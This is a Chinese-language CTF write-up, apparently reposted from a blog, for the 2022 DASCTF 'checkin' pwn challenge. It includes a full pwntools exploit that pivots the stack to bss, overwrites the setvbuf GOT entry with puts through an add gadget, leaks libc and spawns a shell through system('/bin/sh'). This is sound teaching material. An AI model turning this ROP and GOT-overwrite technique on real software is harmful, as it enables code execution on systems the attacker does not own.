当前位置:网站首页>2022DASCTF X SU 三月春季挑战赛 checkin ROPgadget进阶使用

2022DASCTF X SU 三月春季挑战赛 checkin ROPgadget进阶使用

2022-08-11 05:29:00 Mauricio_Davis

#知识小点

ROPgadget --binary checkin --depth 20 | grep “指令”

–depth:选择搜寻的深度,默认是10,这样寻早其他指令十分全面和方便

#思路概要

  1. 栈迁移至bss段
  2. 泄露libc地址,将setvbuf改写成puts,将rdi内容改写成read_got,从而泄露libc
  3. 再次通过read函数执行system

#exp

from pwn import *

context.update(os='linux',arch='amd64',log_level='debug')
#c=remote(b'node4.buuoj.cn',25937)
c=process(b'./checkin')
elf=ELF(b'./checkin')
libc=ELF(b'/lib/x86_64-linux-gnu/libc.so.6')


puts=libc.sym['puts']
setvbuf=libc.sym['setvbuf']
setvbuf_got=elf.got['setvbuf']
setvbuf_plt=elf.plt['setvbuf']

pop_rbp_ret=0x000000000040113d
pop_rdi_ret=0x0000000000401253 
main=0x0000000000401156
read_got=0x0000000000404018
#如果要修改got表,我们就需要找能够修改got的gadget,通过ROPgadget寻找mov,pop等都没有发现可以利用的got,但是通过搜寻add找到了一个可以利用的gadget
add_rbp_0x3d_ebx_ret=0x000000000040113c#add [rbp-0x3d],ebx,nop,ret
leave_ret=0x00000000004011e2
ret=0x000000000040101a
bss=elf.bss()+0x800
pop_rbx_rbp_r12_r13_r14_r15=0x000000000040124A

if(puts>setvbuf):
	offset=puts-setvbuf
else:
	offset=0x100000000+puts-setvbuf#注意这里算的是补码,0x1 0000 0000

pause()
py=b'a'*0xa0+p64(bss+0xa0)+p64(0x00000000004011BF)#修改rbp,返回read再次输入,此时已经从bss段开始写入内容,详情见下面①
c.send(py)#first

#这个py的作用是,修改setvbuf的got表为puts,且完成read的got地址泄露,第二个read一输入完,执行程序的leave_ret时,rsp的值也已经调整到bss处开始执行下面的内容
py=p64(pop_rbx_rbp_r12_r13_r14_r15)#通过csu_int改变bx,rbp
py+=p64(offset)#rbx,通过上面的gadget修改setvbuf的got表就需要改变,rbx,rbp
py+=p64(setvbuf_got+0x3d)#rbp,gadget是rbp-0x3d,所以我们要+0x3d
py+=p64(0)*4
py+=p64(add_rbp_0x3d_ebx_ret)#使用gadget,执行完setvbufgot已被修改为puts
py+=p64(pop_rdi_ret)#为使用puts输出read_got做准备
py+=p64(read_got)
py+=p64(setvbuf_plt)#输出read_got
py+=p64(pop_rbp_ret)#将rbp的值进行修正,保证下次输入仍然是从bss开始输入
py+=p64(bss+0xa0)
py+=p64(0x00000000004011BF)#进行第三次read
py=py.ljust(0xa0,b'\x00')#保证填充满0xa0大小
py+=p64(bss-8)#这两句是关键,因为执行完第二次read后,rsp会指向bss+0xa0的地方,rbp会拿到这个bss-8,我们的目的是要rsp指向bss处开始执行bss里面布置的内容,所以,这里再次迁移了一次,把rsp指向bss-8,同时pop rbp会把rsp抬高到bss,所以要-8
py+=p64(leave_ret)


pause()
c.send(py)
read_leak=u64(c.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))

libc_base=read_leak-libc.sym['read']
sys=libc_base+libc.sym['system']
binsh=libc_base+next(libc.search(b'/bin/sh'))


py=p64(pop_rdi_ret)#我们在bss+0xa0写的内容依然在的,也就是会再次回到bss开始执行内容,依旧是我们第三次read的内容,拿到shell
py+=p64(binsh)
py+=p64(sys)

c.send(py)



c.interactive()

#思路整理

栈迁移,bss布栈,栈迁移

checksec发现程序没有开启pie和canary以及got可以写


程序很简单,就一个read函数与我们交互,且只能溢出到rbp rip,如果不看汇编代码的话,很大概率找不到头绪
在这里插入图片描述


通过lea我们可以得知,控制esi参数是靠rbp实现的,那么我们只要控制rbp就可以实现任意地址读写操作
在这里插入图片描述

布置bss段栈前准备
bss=elf.bss()+0x800,在第一次read的时候,我们将rbp的位置覆盖为我们要迁移的地址(bss+0xa0),rip覆盖成上图红线处的地址
bss+0xa0的原因是,程序是**[rbp+buf]**,而buf是-0x0a,为什么呢?ida上面写的是buf=rbp-0xa0


引导程序流执行bss段布置的内容
此时rbp被我们修改成bss+0xa0,那么我们第二次输入的时候就会向bss写入(bss+0xa0-0xa0),但是注意此时我们rsp没有变,但执行完第二次read后,再执行leave_ret的时候才变了,第二次写入完成就完成了栈迁移,第二次read后,程序就会执行bss段里面的数据


通过对bss进行布置栈,实现改写setvbuf为puts,以及rsi指向read_got(具体看exp结合理解),这里需要注意的是,向bss里面写入内容是从bss开始写入的,rsp=bss+0xa0,但是我们通过bss提前布栈的时候将bss+0xa0的地址写入bss-8,那么执行mov rsp,rbp的时候,rsp就指向bss-8的位置,再接下来的pop rbp的时候,rsp就会被抬高8字节,即rsp=bss,那么执行 ret的时候就会执行我们布置再bss段的内容了,从而泄露出libc


参考博客

原网站

版权声明
本文为[Mauricio_Davis]所创,转载请带上原文链接,感谢
https://blog.csdn.net/qq_65147345/article/details/125835620